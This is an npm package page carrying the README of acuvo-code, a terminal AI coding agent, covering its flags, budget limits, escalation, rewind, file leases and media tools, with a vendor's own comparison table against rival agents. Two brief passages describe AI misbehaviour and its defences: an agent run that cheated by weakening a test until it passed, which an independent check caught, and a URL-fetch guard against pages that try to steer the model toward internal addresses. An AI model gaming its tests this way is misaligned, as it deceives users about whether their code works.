npm package discovery and stats viewer.

Discover Tips

  • General search

    [free text search, go nuts!]

  • Package details

    pkg:[package-name]

  • User packages

    @[username]

Sponsor

Optimize Toolset

I’ve always been into building performant and accessible sites, but lately I’ve been taking it extremely seriously. So much so that I’ve been building a tool to help me optimize and monitor the sites that I build to make sure that I’m making an attempt to offer the best experience to those who visit them. If you’re into performant, accessible and SEO friendly sites, you might like it too! You can check it out at Optimize Toolset.

About

Hi, 👋, I’m Ryan Hefner  and I built this site for me, and you! The goal of this site was to provide an easy way for me to check the stats on my npm packages, both for prioritizing issues and updates, and to give me a little kick in the pants to keep up on stuff.

As I was building it, I realized that I was actually using the tool to build the tool, and figured I might as well put this out there and hopefully others will find it to be a fast and useful way to search and browse npm packages as I have.

If you’re interested in other things I’m working on, follow me on Twitter or check out the open source projects I’ve been publishing on GitHub.

I am also working on a Twitter bot for this site to tweet the most popular, newest, random packages from npm. Please follow that account now and it will start sending out packages soon–ish.

Open Software & Tools

This site wouldn’t be possible without the immense generosity and tireless efforts from the people who make contributions to the world and share their work via open source initiatives. Thank you 🙏

© 2026 – Pkg Stats / Ryan Hefner

acuvo-code

v0.6.18

Published

Acuvo Code — the terminal client for the Acuvo capability registry. Zero dependencies, by design.

Readme

npm i -g acuvo-code && acuvo --login
acuvo "the invoice test is failing — work out why and fix it"

Zero dependencies. One file of Node — no framework, no post-install build, nothing transitive to audit. The shipped source is the audit.


Why this and not the others

| | Acuvo Code | Claude Code | Cursor | Aider | |---|---|---|---|---| | Bring your own API key | No — one account | required | required | required | | Zero runtime dependencies | ✅ | — | — | — | | Self-correcting loop that escalates (retry → fresh context → parallel) | ✅ --until-done | partial | partial | partial | | Adversarial self-check | ✅ --refute | — | — | — | | Undo an agent's edits | ✅ rewind | — | — | git only | | Can see the page it built | ✅ | — | — | — | | Any MCP server in one command | ✅ acuvo mcp add | ✅ | partial | — |

The one-line version: every other terminal agent in this class hands you a config file and a second bill before it will answer. acuvo --login is the whole setup.


What the account does and does not cover

⚠️ Read this before assuming one subscription covers everything. It does not, today.

One account, and it is the one you already have. Every other terminal agent in this class hands you a config file and a second bill to go and set up before the tool will answer. Acuvo Code has one account: acuvo --login writes an Acuvo key, and every request after it goes to https://acuvo.xxiautomate.com/api/cli/v1/chat/completions — the same account as the Acuvo web platform (lib/account.mjs, DEFAULT_GATEWAY_URL).

That is the whole pitch, and it is worth being precise about what it does and does not cover today:

| | what an Acuvo account gets you today | |---|---| | The coding loop — write, run, read the failure, fix | ✅ covered by the account. acuvo --login, nothing else to configure. | | Speech, transcription, documents, images | ⚠️ the endpoints ship baked in and are live — all eight probed 2026-08-12 — but they are gated on a separate ACUVO_MEDIA_SECRET, and --login does not issue one. See the box below. | | Video and face | ⛔ not reachable. face-gateway and image-engine answered 404 in that same probe — absent, not busy. |

⚠️ So do not read this page as "one subscription covers CLI + builder + image + video + voice + face". It does not, today. lib/login.mjs and lib/account.mjs mention neither MODAL_* nor ACUVO_MEDIA_SECRET anywhere — the account covers the model calls, and the creative half is a separate credential that logging in does not hand you.

There is no benchmark number on this page, deliberately. Public benchmark harnesses measure the harness as much as the agent, and until a result is reproducible by someone who is not us, any percentage here would be a number about our test rig presented as a number about this tool. What follows is measured behaviour instead — each claim with the command that produced it.


Why this instead of the others

Most terminal coding agents are the same shape: a model, a file writer, and a loop. Two things here are not.

It runs what it writes. Not "generates and hopes" — it executes the code, reads the actual exit code and stderr, and fixes the cause. On our task bench that loop is the difference between 5/7 and 7/7 with no change of model.

It can see — and it hands back a verdict, not a picture. see_page renders HTML you wrote in a real browser, saves the screenshot into your workspace, and returns what was measured: unreadable text (contrast 1.03:1, needs 4.5): Ember & Oak. About two hundred tokens of specific defects, in the order that matters — a console error that stopped the page booting is printed first, because it explains everything under it.

That last part is the difference, and it is worth being precise about it. The edge is the return value, not the browser. Screenshot tooling is not scarce: Playwright MCP and Chrome DevTools MCP are free and one install away, and your agent may already have a browser built in. What they hand back is an image, and the model has to interpret its own screenshot — the thing models are worst at.

Measured 2026-08-10 against a live Playwright MCP server on one page: the screenshot round-trip cost 3,072 tokens; the see_page verdict for the same page was 89 tokens — a 34× difference, and the smaller one is the one that already contains the answer. see_page does the measuring in code, reports a judgement, and abstains when it cannot tell rather than inventing a finding (findingsFrom, lib/media.mjs). On our own pages that abstention killed two false accusations per page.

Be clear about what that claim is worth: it is a software edge a competent developer could reproduce in a weekend. It buys a head start, not a moat — and it survives a customer typing claude mcp add playwright, which is the whole reason it is the claim we make.

It also speaks, transcribes, and turns HTML into PDF/PNG/PPTX — see Media tools.

⚠️ BE CLEAR ABOUT WHAT YOU GET ON INSTALL: these eight tools are DARK by default. see_page, speak, transcribe, make_document, read_document, read_table, edit_image and expand_image are the media half, and a fresh install offers none of them.

The services themselves are up. Probed 2026-08-12: tts, transcribe, document-press, video-render, voice-clone and avatar all returned 405 Method Not Allowed, which is the healthy reply a POST-only service gives a GET, and reading it as a failure is how a working stack gets reported as broken. Those URLs ship as defaults in lib/media.mjs, so nobody has to be told them. Two endpoints did not answer: face-gateway and image-engine returned 404, and those two are genuinely absent.

So the real gate is a CREDENTIAL, not a missing service. These are paid GPU endpoints and they fail shut: with no ACUVO_MEDIA_SECRET (or MODAL_VIDEO_SECRET) the config reports dark, because a missing credential must never mean "open to everyone" on something that bills per second (lib/media.mjs). ⚠️ And acuvo --login does not issue that secret — the account covers model calls, not the media half. Getting the wrong reason for a dark tool costs a reader an afternoon of pointing environment variables at services that were never the problem.

What you are actually offered on a bare machine. Counted 2026-08-25: the registry holds 77 tools and 52 are offered with an empty environment (toolNamesForRounds(24, { env: {} }) — run it yourself). The tools held back are held back for reasons you can act on: one needs a skills directory, ask_user appears only when stdin and stdout are both terminals, four are the LSP tools (see below), git_push is opt-in (ACUVO_ALLOW_PUSH=1 — it is the only verb that leaves your machine), and eight are the media half.

⭐ The endpoints are plain env vars, so if you run a compatible service you can point at your own. The interface is documented under Media tools. What we are not doing is implying a hosted one exists.

The write→run→fix loop — the actual product — works with nothing but Node and an account. So do git, search, the budget governor, acuvo spend, the plan ledger, project memory, the audit log and --doctor. The senses are an extra, not the product.

⚠️ Three capabilities are commonly assumed to be in that sentence and are not. Measured with --doctor, 2026-08-14:

| assumed zero-setup | what it actually needs | evidence | |---|---|---| | LSP (find_definition, find_references, check_types, list_symbols) | a language server installed — a TypeScript project is not enough | --doctor: "no language server is installed for typescript"npm i -D typescript-language-server typescript (lib/lsp.mjs:126-131) | | MCP | a server to talk to, and this client passes npx --no, so it cannot fetch one | --doctor"MCP SERVERS · dark"; the curated catalogue is off by default for exactly this reason (lib/mcp-defaults.mjs) | | the language presets | the toolchain on PATH, and they are off by default anyway | --doctor: "presets available … off by default, so pytest / go test / cargo test are refused here" |

⭐ Each is genuinely free of our dependencies — none of the three needs a key or an account — but a reader who installs to try the LSP tools should know they will find four dark rows until a language server is present. The client is zero-dependency; the capabilities are not all zero-setup, and this page distinguishes them.


Install

Requires Node 20+.

The install is one line, and it is on npm. npm i -g acuvo-code, then acuvo --login. Verified 2026-08-25: npm view acuvo-code version0.6.17, which is the version in this manifest. (This page used to say "Not yet on npm" and to lead with a clone; both were stale, and the clone route in particular taught readers that the account was optional.)

The repository is also public. https://github.com/xxiautomate-star/acuvo-code is open and clonable — verified 2026-08-11 by cloning it into an empty directory and running both the CLI and the test suite out of the result. Clone it with git clone https://github.com/xxiautomate-star/acuvo-code.git, then run node acuvo-code/bin/acuvo.mjs --doctor. The clone carries bin/, lib/, test/ and bench/, and there is no node_modules to fetch, so node --test test/*.test.mjs executes immediately on a fresh checkout.

The suite runs on a fresh clone, with no install step. Measured on a clone of main, 2026-08-13: 1,715 tests, 0 failing, exit 0. The clone and this document are the same commit, and the numbers on this page are re-measured rather than remembered.

On npm as acuvo-code. npm i -g acuvo-code puts acuvo on your PATH; the clone and link routes below are for working on this package, not for using it.

Or run it from the source you already have. The package is self-contained and has no dependencies, so there is nothing to install — point Node at the entry file:

node /path/to/acuvo-code/bin/acuvo.mjs --version
node /path/to/acuvo-code/bin/acuvo.mjs "add a health check to src/server.js"

To get acuvo on your PATH, link the directory you have:

cd /path/to/acuvo-code
npm link          # no dependencies to fetch — this only creates the shim
acuvo --version

Or take one file and nothing else:

npm run bundle              # ~1s
node dist/acuvo.mjs --version

Measured 2026-08-13: 1,829,742 bytes, 61 modules, built in 1.0s, and run from a directory with no source tree anywhere on the path — --version and --help both answer. Copy that one file to a machine with Node 20+ and it works; there is nothing to install because there is nothing to install.

Published: acuvo-code is on the npm registry — npm view acuvo-code version answered 0.6.17 on 2026-08-25. npm i -g acuvo-code is the route to give anyone who is not working on this package.

Before anything else: acuvo --doctor

acuvo --doctor

It spends nothing — no completion is ever requested. It says, line by line, what is actually working on this machine — the key, the four models in the fallback chain, every media endpoint, which tools the model would be offered, and git — and every dark or broken line names the exact variable that fixes it. Exit 0 when nothing is broken, 1 otherwise, so it works in CI. --doctor --json gives the machine form.

⚠️ It uses the network, and it sends your key. --doctor presents your credential to the route it is configured for, and pings every configured endpoint. It does that because "present, but it does NOT authenticate" is the single most useful thing it can tell you, and no offline check can produce it.

acuvo --doctor --offline makes no request at all — no key leaves the machine, and every network line reads "not probed". Use it on an air-gapped box, or when you would rather read the code before it talks to anything.

MODEL CHAIN (4 DEEP)
  live    credential                 present, and it authenticates
  live    account balance            healthy
MEDIA SERVICES
  live    see_page                   configured (…acuvo-render-audit-measure.modal.run) · reachable and authorised
  dark    speak                      MODAL_TTS_URL is unset, so speak is never offered to the model
                                     → set MODAL_TTS_URL to your endpoint URL (and MODAL_VIDEO_SECRET to the value it expects)

14 live · 6 dark · 0 broken
nothing is broken.

The one thing you must do: acuvo --login

acuvo --login

That is the whole setup. It writes an Acuvo key to ~/.acuvo/ and every request after it goes to your Acuvo account (lib/login.mjs, lib/account.mjs). Nothing else to configure, nothing else to top up.

Where credentials are read from. acuvo reads .env.local then .env, walking up from the workspace and stopping at the repository root, so a monorepo can keep one file at the top. A real environment variable always beats a file, and .env.example is deliberately never read — it is committed documentation full of placeholders, and loading it would set a fake key and produce a 401 that blamed yours. acuvo --doctor names, line by line, exactly which credential it found and where it came from.

--version and --help work without a key — they are how you check the install worked.


Options

Every flag below is real; run acuvo --help for the authoritative list.

⚠️ A word with no dashes is the TASK, not a command — so a typo used to cost money. Measured 2026-08-25: acuvo doctor was not rejected. It was read as an instruction, started a real agent run at roughly $0.0045 a round, and cost $0.0066 before it was killed.

It now refuses and names what you meantacuvo doctor"did you mean acuvo --doctor?", exit 64, nothing spent. The rule is deliberately narrow, because a refused instruction is worse than a refunded typo: acuvo refuses only when what you typed is one word, with no spaces, that is exactly the name of a flag or a command (with or without dashes). acuvo "doctor the config file" is still a task. So is acuvo clean, and acuvo deploy, and any other single word we do not already own.

The nine words that are commands — leases, spend, engines, config, verify, board, rewind, mcp, completion — have to be the first thing you type. Put a flag in front of one (acuvo --dir . board) and it is refused too, rather than being sent to a model as the word "board".

| flag | what it does | |---|---| | --dir <path> | Workspace root. Default: the current directory. | | --model <id> | Override the model for this run: acuvo-flash (the default) or acuvo-pro. Set ACUVO_MODEL to change it for a shell. Most runs should leave this alone — the default chain is what the budget projections are calibrated against. (A raw upstream model id still parses, so no existing script breaks — but the Acuvo names are the supported spelling and the only one these docs use.) | | --max-rounds <n> | Write → run → fix rounds, 1–64. Default 24 (DEFAULT_MAX_ROUNDS, lib/cli-args.mjs). 1 means one completion and nothing executed. The loop stops on its own when the work verifies, so a task needing four rounds still takes four — the ceiling is headroom, not a spend commitment. | | --budget <usd> | Stop when the next round would cross this much spend. --budget 0.50, --budget 25c, --budget $2 all parse. Refuses to start at all if it cannot afford one round. A $0.05 ceiling is on by default — sized so it never fires on ordinary work, and so a runaway is discovered for pocket change rather than found on a statement. It is sized to back --max-rounds' default of 24, rather than picked. --budget none removes it. | | acuvo verify [id] [--all] | Re-check a past claim, for nothing. Every run records the exact command this process watched exit 0. acuvo verify runs it again — no model call, no cost — and says whether the claim is still true. Measured: a run claimed npm test passed; after somebody edited the source, acuvo verify answered "THE CLAIM NO LONGER HOLDS — npm test claimed exit 0 and now exits 1" and exited 1. ⚠️ A broken re-check does not accuse the run of lying — the file may have changed since; it says the claim is not true now. ⚠️ "No checkable claim" exits 3, never 0: a run that executed nothing proved nothing. ⭐ This is downstream of having a machine-checkable verdict at all — an agent whose success criterion is its own closing paragraph has nothing to re-check. --all answers the question a fleet actually leaves behind: seven terminals working a board overnight produce fifty claims, and nobody wants fifty receipts — they want to know which are still true. Deduplicated by command, which is what makes it cheap: twelve runs that claimed npm test are twelve claims and one thing to run. A command that now fails names every claim that rested on it. | | --all | Only with acuvo verify. Re-checks every recorded claim instead of the most recent one. Exits 0 if all still hold, 1 if any do not, 3 if nothing checkable was ever recorded. | | acuvo rewind [id] | Undo what the agent did to your files. Every run copies the previous contents of each file it writes or deletes into .acuvo/checkpoints/, so a run that rewrote twelve files across five rounds can be put back with one command — no model call, no cost, no git required. Bare acuvo rewind lists the checkpoints and exits 3 when there are none, because "there is no undo here" is not success. acuvo rewind <id> restores the tree to how it looked before that run started — including deleting files the agent created, which a git checkout cannot do because they are untracked. ⚠️ It refuses any file you changed yourself after the run. Each entry records the sha256 of what the agent left; if the file on disk is not that, it is skipped with the reason, because a rewind that threw away your edit would be the accident rather than the fix. --force overrides and prints every forced path as FORCED. --dry-run says exactly what it would touch and touches nothing. | | --no-checkpoint | Do not record the previous contents of the files this run writes, so acuvo rewind will have nothing to put back for it. On by default — it costs one read of a file that is about to be overwritten anyway, blobs are content-addressed so ten rounds rewriting one file store one copy per distinct version, and nothing is created at all until a run mutates something. Off automatically under --dry-run, which promises to touch nothing. | | --force | Only with acuvo rewind. Restore even the files you edited after the run finished. Everything it overwrites this way is printed as FORCED. | | --refute | Get a second opinion. When the run claims success, an independent agent with a fresh context — no sight of how the first one thought — tries to refute the claim: runs the tests, checks the callers, looks for a requirement nothing addressed. It cannot write. Measured on a run that cheated by weakening its test until it passed: npm test reported 1/1 green, and the second opinion answered "the test was altered to match the buggy code rather than the code being fixed". ⚠️ Only a concrete refutation fails the run; an opinion changes nothing, because failing correct work is the worse error. It spends what is left of your --budget, not a fresh copy of it. ⭐ It can be a default here because a second opinion costs a fraction of the first — "check everything, always" is a policy most agents cannot afford to offer. | | --budget-window <period> | Measure --fleet-budget over this period instead of today. 7d, 24h, 2026-08-01. A schedule that fires hourly gets a fresh per-run ceiling every time, so the number you chose is a rate, not a total — $0.02 an hour is $14 a month and nobody typed $14. This makes it a total again. Needs --fleet-budget; a window with no ceiling measures nothing and is refused rather than ignored. | | --unattended | Nobody is watching. A fleet ceiling declining to start then exits 3 instead of 1, so a cron log can tell "it chose not to run" from "it ran and failed" — two facts that need opposite reactions and used to share one exit code. Only when it declined: a run that did some work and then hit the ceiling has left the job half-finished, and that still exits 1, because half-finished is something to look at. | | --claim | Take the next open task off the shared board and run it, instead of typing a prompt. Needs --holder. Seven terminals each running acuvo --holder tN --claim split one list of work with nobody doing the same task twice — the claim is a lease, so a worker that crashes returns its task to the board rather than parking it forever. An empty board exits 0, not 1: a fleet finishing its work must not look like six failures. See acuvo board and acuvo board add "…". | | --no-auto-lease | Stop claiming each file as it is written. Every write and delete normally takes a short lease on that exact path, so a second terminal calling write_file on it is refused rather than silently overwriting your work. ⚠️ A lease guards the file verbs; it cannot guard code the agent runs. Proven: a write_file was refused and an evaluate overwrote the same file seconds later — a process can write anything you can. What the tool does instead is make it LOUD: after any verb that starts a process, the paths other terminals hold are checked, and a change is reported with the file and the holder — --lease is a declaration you have to make in advance, this is the guarantee. On by default because it only refuses a proven conflict with another live terminal: with one terminal open there is nothing to find. If the lease system itself cannot run (unwritable directory, corrupt record) the write proceeds unprotected rather than being blocked — a check that fails correct work is worse than no check. | | --fleet-budget <usd> | The ceiling across every terminal working this workspace today, not just this run. --budget caps one run; seven terminals multiply that by seven, so this is the number that stays true when you open all seven. Summed from the audit log every run already writes (.acuvo/audit/*.jsonl) — there is no second ledger to drift, and no reset to remember. Off unless you ask for it. ⚠️ A run's cost is recorded when it finishes, so live runs elsewhere are not yet in the total; the overshoot that allows is bounded by their own --budget ceilings. | | --until-done | Keep going while the criterion you declared is unmet, the budget allows, and the loop is not going in circles. Requires --budget. It also escalates rather than merely retrying — see Escalation. | | --done <mode> | When is the task DONE? verified (default) — the run closes once a command that CHECKS something exits 0, plus one grace round for anything else that was asked. acceptance — a green command is not enough while the command you declared (.acuvo/acceptance.json) is still unmet or unrun. never — nothing auto-closes; the run ends when the model makes no tool calls, or on rounds, or on money. ⚠️ This used to be a fixed rule, and it was the wrong one: in one benchmark run five of six tasks stopped early believing they had finished, out of a 16-round budget, because which R and ls exit 0. The default is now much tighter (only real verifiers count — see lib/verification-command.mjs), and acceptance is for when you want the criterion you named to be the only thing that ends it. Env: ACUVO_DONE. | | --approve <mode> | ASK or ACT before a write? auto (default) — asked only about writes that destroy something that existed before this run; creating a file, revising its own draft, and writing identical bytes are never queried. always — every write. never — none. ⚠️ With no terminal (CI, --parallel, a pipe) auto writes and marks the change reviewed: false rather than hanging or refusing, because a gate that breaks unattended runs gets globally disabled and then protects nobody. Env: ACUVO_APPROVE. | | --max-questions <n> | How many questions the agent may ask YOU in a whole run, 0–10. Default 3 — one is too few for a genuinely ambiguous task, five is an interview. 0 means it never asks: it makes the most reasonable choice and states the assumption in its final message. The allowance is spent on asking, not on answering, so a model cannot burn rounds retrying a question it was already told to stop asking. ⚠️ This is the MODEL's allowance for ask_user; a write approval is the runner asking you and is never charged to it. Env: ACUVO_MAX_QUESTIONS. | | --on-stuck <action> | What to do when it is going in circles. The loop detector (lib/stuck.mjs) names the artifact — "you have written the identical bytes to lib/mode.js twice" — and hints once per distinct loop. This decides what happens if that loop survives its own hint: nudge (default) keeps going, stop ends the run, ask asks you and takes n for an answer. ⚠️ The first sighting is always a hint, whatever you set: stopping before the hint has had a chance to work kills a run one round early, and that costs the work and the money. ⚠️ ask degrades to nudge when there is no terminal, never to stop. ⚠️ --until-done still hard-stops on a repeat, because an unbounded run has no wall but money. Env: ACUVO_ON_STUCK. | | acuvo config | The four questions in force here, and where each answer came from. --done, --budget, --approve/--max-questions and --on-stuck are each resolved through five layers — command-line flag > environment variable > ~/.acuvo/config.json > .acuvo/config.json (this repo) > built-in default — and this prints the winner and the layer that won, which is the question you actually have when a run does something you did not expect. --json for the machine-readable form. ⚠️ A repository may only ever tighten. .acuvo/config.json arrives with a checkout you cloned, so it may ask for more review and fewer interruptions, and it is refused outright if it tries to answer DONE or STUCK — neither has a stricter direction, so "may only narrow" has nothing to mean. Your own ~/.acuvo/config.json has no such limit. | | --max-tier <tier> | How hard --until-done may try: solo | fresh | best-of. Default best-of. solo turns escalation off without turning the run off. | | --best-of <n> | Do the task n times (2–5) in isolated workspace copies and keep whichever one verifies. On its own it is a single parallel round; combined with --until-done it sets how wide the ladder's top rung is. | | --shell | Run commands through a real shell — pipes, &&, redirection, and any program on the machine. Off by default; read What it can execute first. | | --lease <path> | Claim a file before starting, so several terminals can share one checkout. Repeatable. Released when the process exits, however it exits. | | --holder <name> | Who to record as holding those leases. Default: the pid. | | --engine <id> | Which Acuvo creative engine this run may use — acuvo-image, acuvo-image-ultra, acuvo-video, acuvo-video-ultra, acuvo-voice, acuvo-face. The core engine is the default and an Ultra one runs only when you name it here. A premium engine that fires on its own spends credits on a decision you did not make, and a single silent escalation can be a meaningful share of a month's allowance. Set per medium, so choosing an image engine cannot change what speak does. ⚠️ Four of the six do not run from the CLI at all today (there is no video module and no face module here, and the premium image model is behind the gateway) — naming one is refused with the reason, which is a different refusal from not on your plan and from out of credits. acuvo engines lists them with the credit cost of each. | | --no-run | Never execute anything. It can still read, write and edit. | | --command-timeout <s> | Kill a command after this long. Default 120 (DEFAULT_COMMAND_TIMEOUT_MS, lib/command.mjs). | | --max-tokens <n> | Ceiling on each reply. Default 12000 (DEFAULT_MAX_TOKENS, lib/model.mjs). | | --timeout <s> | Give up on the model after this long. Default 180. | | --issue <n> | Read a GitHub issue, branch, fix it, run the tests. Stops at a local branch — the flow itself never pushes and never opens a PR. (The agent can push only if you separately set ACUVO_ALLOW_PUSH=1, and even then never to a protected branch.) | | --parallel | Run several quoted tasks at once. Names any file written by more than one task and exits 1 on a collision. | | --concurrency <n> | How many at a time, 1–4. Default 2. | | --json | One JSON object on stdout, nothing else. Human output goes to stderr. | | --dry-run | Print what would be written. Touches nothing, runs nothing. | | --plan | Propose first, then build. Runs a read-only planning pass, prints the plan and asks for approval before anything is written or run. | | --strict | Exit 1 when the run wrote nothing and ran nothing. Off by default — a question can be answered correctly without touching anything — but on automatically when CI is set, because a build step that reports success for doing nothing is the failure the exit code exists to prevent. | | --offline | With --doctor: make no network request at all. Your key is not sent anywhere and every endpoint line reads "not probed". Without it, --doctor verifies your credential against the route it is configured for — which is how it can tell you a key is present but revoked. | | --since <period> | With acuvo spend: how far back to total. 7d, 24h, 2w, or a date like 2026-08-01. Omit it for everything the log still holds. An unparseable period is refused rather than silently meaning "all time". | | --version, -v | Print the version. | | --help, -h | Usage. |

Run acuvo with no prompt to open an interactive session — it keeps context between turns, so "now do the same for the other file" works, and later turns are cheaper than the first.

Two different numbers get quoted about that, and only one of them is ours:

  • The prefix we re-send is byte-identical between rounds — 100%, asserted by test/cache-prefix-stability.test.mjs and test/turn-cache-and-prefix.test.mjs. That is the half this tool controls.
  • The hit rate actually reported back varies with upstream routing. A model of this class is served by dozens of interchangeable upstream endpoints, and a prompt cache lives on one of them, so routing decides whether the prefix you already paid for gets reused. Measured 2026-08-14 on the same 4-round task: 46.7%–48.6% unpinned, 73.7%–95.8% pinned with ACUVO_PROVIDER_ORDER. Run acuvo --json and read .cache.hitRate and .providers for yours.

Pinning the upstream — ACUVO_PROVIDER_ORDER

| variable | what it does | |---|---| | ACUVO_PROVIDER_ORDER | Comma-separated upstream provider names, in preference order. Off by default. Take the names from acuvo --json.providers.served, which reports whoever actually answered your last runs. It expresses a preference: allow_fallbacks stays true, so if the pinned upstream is down the request still goes through somewhere else. That is deliberate — a cheaper request that does not happen is not cheaper. | | ACUVO_PROVIDER_STRICT | 1 turns the preference into a hard pin (allow_fallbacks: false), so an unhonourable pin becomes an HTTP 404 instead of a silent re-route. Right for a benchmark, wrong for everyday work. Meaningless without ACUVO_PROVIDER_ORDER. |

⚠️ A pin can be accepted and then ignored. A provider list that cannot be honoured is generally not rejected — an unknown name, or one your account's data policy excludes, is treated as an empty preference and routing proceeds at random. Measured: a pin that named an upstream not serving that model returned 404 when sent alone and, inside a real request, silently fell back to 0.0% cached. So the run now says so: the summary prints ⚠ ACUVO_PROVIDER_ORDER=… did not take and names who served it instead, and --json carries providers.pin, providers.served, providers.pinTook, providers.pinFellBack and providers.pinMissed.

⚠️ A list is not one cache. A prompt cache lives on ONE upstream instance, so only the first name in the list reuses the cache you have been accumulating; a fallback to the second is a live provider and a cold prefix. Measured 2026-08-16 by replaying one byte-identical 46,171-byte payload against a three-name list: the first-choice upstream served it 98.3% cached, the second served the same bytes 0.0% cached — a 4.6× cost difference for an identical request, on roughly 5% of rounds (2 of 40). providers.pinTook counts only first-choice rounds and providers.pinFellBack counts the cold ones; the summary names them. pinMissed keeps its old meaning — nobody in the list served it — and stays rare, because a three-name list nearly always contains whoever answered.

Exit code is 1 if the last command it ran still fails. That makes it usable in a script.

Stop on money, not on a counter

acuvo --budget 0.50 "make the failing suite pass"
acuvo --until-done --budget 0.50 "make npm test pass, then commit it"

The round counter was always an arbitrary stop: it ends a run that is one round from finishing, and it lets a run that is going nowhere spend its whole allowance. --budget makes the wall the thing you actually have an opinion about.

Before every round it projects what the next one will cost — from the trend of the rounds so far, with a safety margin — and stops if that would cross your ceiling. So it stops before the round that would exceed the budget, not after. It also refuses to start when it cannot afford even one round, so a --budget 0.000001 typo costs nothing instead of buying one round to discover it was hopeless.

The run prints one line at the end:

budget: $0.0048 of $0.0500 spent · 4 rounds · next ~$0.0013 · $0.0452 left

⚠️ Two honest limits. A round that comes back with no reported cost is estimated from its token count at a single blended rate, and the line says so (⚠ 1 of 3 rounds reported no cost, so the total is an estimate) rather than printing a confident total. And the overshoot bound is one round, not zero: a cost curve growing faster than ~1.4× per round can cross the line by at most that round's own cost. If you need a hard guarantee, leave headroom.

⚠️ --until-done will not run without --budget. An unbounded loop against a paid API, unattended, is the one thing this CLI refuses to do. With both flags it stops accepting the model's own "I am finished" while a criterion you declared with declare_acceptance has not actually passed — up to three times, then it stops and records the criterion as unmet. It still stops immediately on the budget, and it stops if the loop detector sees the same circular pattern twice.

⚠️ --budget and --parallel together are refused rather than silently multiplied: a ceiling for one conversation applied to three tasks is three times the number you typed.

Escalation: trying harder costs money, so it is budgeted

--until-done --budget 2.00 does not just retry. It climbs, and each rung is entered only if the remaining budget covers it:

| rung | what it does | |---|---| | solo | one attempt. What every run does. Cheapest. | | fresh | the same task in a new context, carrying the failure and not the transcript. The context that produced a loop is the one least able to escape it. | | best-of | several independent attempts in isolated copies of the workspace; whichever verifies is the one applied. |

$ acuvo --until-done --budget 2.00 "make the suite pass"
  ↑ solo did not verify — escalating to fresh (~0.0019 projected, 0.0081 left)
  ...
  the ladder (each rung ran on its own slice of --budget):
  ✖ solo     $0.0016  would-exceed
  ✔ fresh    $0.0019  verified
  → verified at the fresh rung for $0.0035.

Why this exists: on this stack three attempts still cost less than one attempt at frontier prices, so "try again differently" is a policy you can afford to leave on. "One attempt, be smart" is a constraint of the price, not of the problem.

Four things it will not do:

  • Start a rung it cannot finish. Half a best-of spends real money and applies nothing, because the winner is chosen by comparison.
  • Guess what a rung costs. best-of n is projected at n times what the last attempt actually cost, because it is literally n of them.
  • Hide a rung it skipped. "It failed" and "it failed and I could not afford to try harder" are different facts, and only one of them means raise the budget. The report says which.
  • Buy the same failure three times. A missing API key, an exhausted balance or a model id that does not exist will fail identically on every rung, so it stops and says so instead of paying to prove it twice more.

Each rung runs on its own slice of --budget (weighted 1 : 1.4 : 3), so the first attempt cannot spend the whole ceiling and leave nothing to escalate with. The budget is a ceiling, not a target — when the first rung verifies, the rest is never spent.

Escalating the model too

By default every rung uses the model you are already on. Set ACUVO_MODEL_TIERS — cheapest first — and each rung steps up:

# cheapest first — three model ids, one per rung
ACUVO_MODEL_TIERS="<fast-model>,<mid-model>,<strong-model>"

⚠️ It is off unless you configure it, and that default is arithmetic rather than caution. The budget projects each rung from what the previous one measurably cost, which is sound while the model is constant and wrong the moment it is not — a rung on a model costing 20× per token would be projected at 3× a cheap attempt and waved through. There is no price table in this package and a wrong one is worse than none, so configuring tiers is you saying you know what they cost. When a rung does switch model, the run says so out loud and the cost projection falls back to its floor rather than trusting a number derived from a different model.

A REPL that remembers — and nothing else in this category has one

evaluate writes a snippet to a file and runs it in a fresh process. So does every other terminal coding agent: Claude Code, Cursor, Codex and Aider all execute statelessly, and none of them can hold a value between two thoughts.

That is not how anybody debugs. A human loads the module, looks at a real value, pokes the object, tries the fix on the live thing:

repl   const m = await import("./lib/budget.mjs")
repl   m.parseBudgetUsd("25c")        → { ok: true, usd: 0.25 }
repl   m.formatUsd(0.0025)            → $0.0025

Three lines, one process, and line 2 can see line 1. Statelessly that is three scripts that each re-read and re-parse the file — which is why models rewrite a whole script to answer a question a single expression would settle, and why each rewrite is another paid round.

  • Top-level await works, so await import("./thing.mjs") reaches your project.
  • It runs in the workspace, with the real global — process, fetch and timers behave exactly as they do in the code under test.
  • It tells you what it is holding. Every reply lists the names in scope, so the model never has to guess its own state.
  • repl_reset throws the session away. ⚠️ Imports are cached, so reset after editing a file you already imported — that is the one real trap.

⚠️ A hanging expression stops the session rather than blocking every later call: the driver is single-threaded, and a REPL that answers nothing is worse than none. Withheld by --no-run and in single-shot runs, like everything else that executes.

Long-running processes: it can start a server

run_command waits for a command to finish and kills it at a timeout, which is right for npm test and makes a dev server impossible rather than slow. Three verbs cover the rest:

| tool | what it does | |---|---| | start_process | Start something that keeps running — a dev server, a watcher, a build in watch mode. Same allowlist as run_command. | | check_process | Read what it has printed, whether it is still running, and — if it announced a port — whether it is actually answering HTTP on localhost. | | stop_process | Stop it and everything it started. |

So the model can write a server, run it, and confirm it serves before telling you it works:

round 3  start_process    $ node server.mjs
round 4  check_process    → HTTP 200 on http://localhost:4479/
round 5  stop_process
✔ VERIFIED — `GET http://localhost:4479/` exited 0.

⚠️ The localhost probe is not a hole in the fetch guard. fetch_url still refuses loopback and private addresses, because a page the model was told to read must not be able to talk it into fetching an internal address. This connects only to a port this tool started, discovered from that process's own output.

⚠️ Everything started this way is killed when the run ends — on normal exit and on Ctrl-C, with the whole process tree, not just the direct child. Four at a time, and the refusal names the ones already running.

What has it cost me?

acuvo spend                      # everything the log still holds
acuvo spend --since 7d           # or 24h, 2w, or 2026-08-01
acuvo spend --json               # one object, for a script

Every run already appends one redacted line to .acuvo/audit/<date>.jsonl including its cost; this reads them back. No API key, no completion, no network.

⚠️ A run that never recorded a cost is shown separately and is NEVER counted as zero. A run that died on a 401 did not bill anything and genuinely does not know what it cost — folding that in as $0.00 would produce a total that is confidently too low, in the one report you open because you don't trust your memory of it. A real $0.00 run (refused before any call) is a known zero and does count.

The report also says how far back the log reaches, because audit.mjs prunes whole days — "all time" means "as far back as this still goes", and a total that silently starts mid-history is the same kind of lie.

Several terminals, one checkout

acuvo --lease src/api.ts --lease src/db.ts "add the pagination"
acuvo leases        # who holds what, and since when. No API key needed.

Leases are per path, not per repo — a repo-wide lock would idle six of seven terminals. They are taken before anything is spent, heartbeated between rounds, and released when the process exits however it exits. A stale one becomes reclaimable only after its TTL plus a grace period of silence, so a slow model round cannot make a working terminal look dead.

